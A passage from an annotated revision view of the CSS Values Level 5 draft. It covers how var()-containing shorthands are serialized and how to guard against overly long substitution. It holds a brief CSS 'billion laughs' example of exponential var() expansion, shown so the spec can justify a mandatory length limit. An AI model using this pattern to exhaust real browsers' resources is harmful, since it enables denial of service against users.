class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2972" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3125" id="l3125"> 3125</a> </td> <td class="source"> variable-substitution-shorthands.html </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2973" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3126" id="l3126"> 3126</a> </td> <td class="source"> vars-background-shorthand-001.html </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2974" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3127" id="l3127"> 3127</a> </td> <td class="source"> vars-font-shorthand-001.html </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2975" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3128" id="l3128"> 3128</a> </td> <td class="source"> </wpt> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2976" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3129" id="l3129"> 3129</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2977" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3130" id="l3130"> 3130</a> </td> <td class="source"> Note: When a shorthand is written without an [=arbitrary substitution function=], </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2978" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3131" id="l3131"> 3131</a> </td> <td class="source"> it is parsed and separated out into its component [=longhand properties=] at parse time; </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2979" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3132" id="l3132"> 3132</a> </td> <td class="source"> the longhands then participate in the [=cascade=], </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2980" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3133" id="l3133"> 3133</a> </td> <td class="source"> with the [=shorthand property=] more or less discarded. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2981" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3134" id="l3134"> 3134</a> </td> <td class="source"> When the shorthand contains a ''var()'', however, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2982" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3135" id="l3135"> 3135</a> </td> <td class="source"> this can't be done, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2983" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3136" id="l3136"> 3136</a> </td> <td class="source"> as the ''var()'' could be substituted with anything. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2984" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3137" id="l3137"> 3137</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2985" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3138" id="l3138"> 3138</a> </td> <td class="source"> [=Pending-substitution values=] must be serialized as the empty string, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2986" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3139" id="l3139"> 3139</a> </td> <td class="source"> if an API allows them to be observed. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2987" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3140" id="l3140"> 3140</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/bfa059e08b64/css-values-5/Overview.bs#l2988" title="bfa059e08b64: [css-values-5] Clean up Arbitrary Substitution Function prose">fantasai@31731</a> </td> <td class="lineno"> <a href="#l3141" id="l3141"> 3141</a> </td> <td class="source"> <wpt pathprefix="css/css-variables"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2989" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3142" id="l3142"> 3142</a> </td> <td class="source"> variable-definition-border-shorthand-serialize.html </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2990" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3143" id="l3143"> 3143</a> </td> <td class="source"> vars-border-shorthand-serialize.html </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2991" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3144" id="l3144"> 3144</a> </td> <td class="source"> </wpt> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2992" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3145" id="l3145"> 3145</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2993" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3146" id="l3146"> 3146</a> </td> <td class="source"> ---- </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2994" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3147" id="l3147"> 3147</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2995" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3148" id="l3148"> 3148</a> </td> <td class="source"> [=Shorthand properties=] are serialized </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2996" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3149" id="l3149"> 3149</a> </td> <td class="source"> by gathering the values of their component [=longhand properties=], </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2997" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3150" id="l3150"> 3150</a> </td> <td class="source"> and synthesizing a value </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2998" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3151" id="l3151"> 3151</a> </td> <td class="source"> that will parse into the same set of values. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2999" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3152" id="l3152"> 3152</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3000" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3153" id="l3153"> 3153</a> </td> <td class="source"> If all of the component [=longhand properties=] for a given [=shorthand=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3001" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3154" id="l3154"> 3154</a> </td> <td class="source"> are [=pending-substitution values=] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3002" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3155" id="l3155"> 3155</a> </td> <td class="source"> from the same original shorthand value, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3003" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3156" id="l3156"> 3156</a> </td> <td class="source"> the [=shorthand property=] must serialize to that original </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3004" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3157" id="l3157"> 3157</a> </td> <td class="source"> ([=arbitrary substitution function=]-containing) </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3005" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3158" id="l3158"> 3158</a> </td> <td class="source"> value. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3006" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3159" id="l3159"> 3159</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3007" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3160" id="l3160"> 3160</a> </td> <td class="source"> Otherwise, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3008" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3161" id="l3161"> 3161</a> </td> <td class="source"> if any of the component [=longhand properties=] for a given [=shorthand=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3009" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3162" id="l3162"> 3162</a> </td> <td class="source"> are [=pending-substitution values=], </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3010" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3163" id="l3163"> 3163</a> </td> <td class="source"> or contain [=arbitrary substitution functions=] of their own that have not yet been [=substituted=], </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3011" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3164" id="l3164"> 3164</a> </td> <td class="source"> the [=shorthand property=] must serialize to the empty string. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3012" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3165" id="l3165"> 3165</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3013" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3166" id="l3166"> 3166</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3023" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3176" id="l3176"> 3176</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3024" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3177" id="l3177"> 3177</a> </td> <td class="source"><h3 id=long-substitution oldids=long-variables> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3025" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3178" id="l3178"> 3178</a> </td> <td class="source">Safely Handling Overly-Long Substitution</h3> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3026" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3179" id="l3179"> 3179</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3027" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3180" id="l3180"> 3180</a> </td> <td class="source"> Naively implemented, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3028" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3181" id="l3181"> 3181</a> </td> <td class="source"> some [=arbitrary substitution functions=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3029" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3182" id="l3182"> 3182</a> </td> <td class="source"> (such as ''var()'') </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3030" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3183" id="l3183"> 3183</a> </td> <td class="source"> can be used in a variation of the "billion laughs attack": </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3031" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3184" id="l3184"> 3184</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3032" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3185" id="l3185"> 3185</a> </td> <td class="source"> <div class=example> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3033" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3186" id="l3186"> 3186</a> </td> <td class="source"> <pre lang=css> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3034" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3187" id="l3187"> 3187</a> </td> <td class="source"> .foo { </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3035" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3188" id="l3188"> 3188</a> </td> <td class="source"> --prop1: lol; </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3036" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3189" id="l3189"> 3189</a> </td> <td class="source"> --prop2: var(--prop1) var(--prop1); </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3037" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3190" id="l3190"> 3190</a> </td> <td class="source"> --prop3: var(--prop2) var(--prop2); </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3038" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3191" id="l3191"> 3191</a> </td> <td class="source"> --prop4: var(--prop3) var(--prop3); </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3039" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3192" id="l3192"> 3192</a> </td> <td class="source"> /* etc */ </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3040" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3193" id="l3193"> 3193</a> </td> <td class="source"> } </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3041" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3194" id="l3194"> 3194</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3042" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3195" id="l3195"> 3195</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3043" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3196" id="l3196"> 3196</a> </td> <td class="source"> In this short example, ''--prop4''’s computed value is ''lol lol lol lol lol lol lol lol'', </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3044" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3197" id="l3197"> 3197</a> </td> <td class="source"> containing 8 copies of the original ''lol''. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3045" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3198" id="l3198"> 3198</a> </td> <td class="source"> Every additional level added to this doubles the number of identifiers; </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3046" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3199" id="l3199"> 3199</a> </td> <td class="source"> extending it to a mere 30 levels, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3047" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3200" id="l3200"> 3200</a> </td> <td class="source"> the work of a few minutes by hand, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3048" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3201" id="l3201"> 3201</a> </td> <td class="source"> would make ''--prop30'' contain <em>nearly a billion instances</em> of the identifier. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3049" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3202" id="l3202"> 3202</a> </td> <td class="source"> </div> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3050" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3203" id="l3203"> 3203</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3051" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3204" id="l3204"> 3204</a> </td> <td class="source"> To avoid this sort of attack, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3052" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3205" id="l3205"> 3205</a> </td> <td class="source"> UAs must impose a UA-defined limit on the allowed length of the token stream </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3053" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3206" id="l3206"> 3206</a> </td> <td class="source"> that an [=arbitrary substitution function=] expands into. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3054" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3207" id="l3207"> 3207</a> </td> <td class="source"> If an [=arbitrary substitution function=] would expand into a longer token stream than this limit, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3055" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3208" id="l3208"> 3208</a> </td> <td class="source"> it instead is replaced with the [=guaranteed-invalid value=]. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3056" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3209" id="l3209"> 3209</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/bfa059e08b64/css-values-5/Overview.bs#l3057" title="bfa059e08b64: [css-values-5] Clean up Arbitrary Substitution Function prose">fantasai@31731</a> </td> <td class="lineno"> <a href="#l3210" id="l3210"> 3210</a> </td> <td class="source"> <wpt pathprefix="css/css-variables"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3058" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3211" id="l3211"> 3211</a> </td> <td class="source"> long-variable-reference-crash.html </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3059" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3212" id="l3212"> 3212</a> </td> <td class="source"> variable-exponential-blowup.html </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3060" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3213" id="l3213"> 3213</a> </td> <td class="source"> </wpt> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3061" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3214" id="l3214"> 3214</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l3062" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3215" id="l3215"> 3215</a> </td> <td class="source"> This specification does not define what size limit should be imposed. </td> </tr> <tr class="parity1"> <td class="linenr"> <a 